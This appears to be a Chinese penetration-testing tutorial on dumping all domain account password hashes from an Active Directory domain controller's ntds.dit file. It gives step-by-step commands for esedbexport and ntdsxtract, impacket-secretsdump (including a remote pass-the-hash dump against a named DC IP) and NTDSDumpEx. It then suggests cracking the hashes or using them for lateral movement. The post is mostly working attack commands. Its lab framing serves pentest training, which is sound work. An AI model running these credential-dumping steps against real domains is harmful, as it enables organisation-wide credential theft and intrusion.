攻击域控丝滑小连招~

2023-11-07 17:42:19 浏览数 (2)

如果已经获得本地管理员账号或是域管理员账号,那么下一个目标通常是域控制器,对于渗透测试人员来说,光荣与荣耀的那一刻就是成功从域控制器提取所有的哈希值。但即使是拥有管理员权限,也无法读取域控制器中存储的c:WindowsNTDSntds.dit文件,因为活动目录始终访问这个文件,所有文件被禁止读出。下面介绍几种常用提取ntds.dit的方法。

01

使用esedbexport恢复ntds.dit

将从目标系统导出的ntds.dit放在本地Linux机器中进行解析,本次实验环境为Kail2.0。

在Kali中打开命令行输入命令下载libesedb。

代码语言:javascript复制
wget
https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz

首先安装工具依赖环境,如图6-24所示,输入如下命令。

代码语言:javascript复制
$ sudo apt-get install autoconf automake autopoint libtool pkg-config

图6-24安装工具依赖环境

将下载好的libesedb进行编译安装,依次输入命令:

代码语言:javascript复制
$ ./configure
$ make
$ sudo make install
$ sudo ldconfig

安装成功后会在系统/usr/local/bin中出现esedbexport程序,如图6-25所示。

图6-25查看esedbexport是否安装成功

在Kali中打开命令行进入存放ntds.dit目录中,使用esedbexport 恢复,输入如下命令来提取表信息,如图6-26所示,恢复时间视ntds.dit大小决定,导出成功会在同目录生成一个文件夹。这里的存储信息,我们只需要datatable和link_table。

代码语言:javascript复制
esedbexport -m tables ntds.dit

图6-26使用esedbexport 打开ntds.dit

可以看到成功导出,如图6-27所示。

图6-27查看被打开后的ntds.dit内容

再下载使用ntdsxtract进行提取域信息,导出Hash。

下载,在Kali输入命令:

代码语言:javascript复制
$ git clone https://github.com/csababarta/ntdsxtract.git

安装,在Kali输入命令:

代码语言:javascript复制
python setup.py build && python setup.py install

然后将导出ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹中,输入如下命令。

代码语言:javascript复制
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt

成功将域内所有用户信息及Hash导出到all_user.txt中,如图6-28所示。

图6-28导出与内所有用户和Hash信息

导出到Hash可以放在在线网站破解,也可以本地使用hashcat进行破解或在域内直接进行PTH进行横向渗透。

Tips:ntds.dit中包含域内所有信息,不仅仅包括用户和Hash,也可以通过分析ntds.dit导出域内计算机信息或其他信息,如:

代码语言:javascript复制
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

该命令可以执行导出域内所有计算机信息,导出为csv格式,方便查看,如图6-29所示。

图6-29导出域内所有计算机信息

02

使用impacket工具包导出Hash

使用impacket工具包中的secretsdump 解析ntds.dit文件,导出Hash。

首先下载impacket工具包,在Kali下,输入如下命令下载该工具。

代码语言:javascript复制
git clone https://github.com/CoreSecurity/impacket.git

下载成功后,将impacket工具包安装在Kali上,impacket是基于使用Python编写的,Kail默认安装了Python,直接输入命令,如图6-30所示。

代码语言:javascript复制
python setup.py install

图6-30安装impacket

成功安装后,打开命令行进入ntds.dit和SYSTEM目录,输入如下命令,成功导出ntds.dit中所有Hash,如图6-31所示。

代码语言:javascript复制
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

图6-31使用impacket-secretsdump导出用户和Hash

Tips:impacket还可以直接使用用户名和Hash进行验证,从远程域控制器读取ntds.dit转储域Hash,如图6-32所示:

代码语言:javascript复制
impacket-secretsdump-hashes
aad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/administrator@192.168.100.205

图6-32使用impacket-secretsdump向DC获取信息

03

Windows下解析ntds.dit导出域账号及域Hash

使用NTDSDumpex.exe进行导出Hash操作。NTDSDumpex.exe下载地址:

代码语言:javascript复制
https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

首先将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录中,打开cmd输入如下命令,域账号及域Hash被成功导出,如图6-33所示。

代码语言:javascript复制
NTDSDumpex.exe -d ntds.dit -s system

图6-33使用NTDSDumpex.exe打开ntds.dit

0 人点赞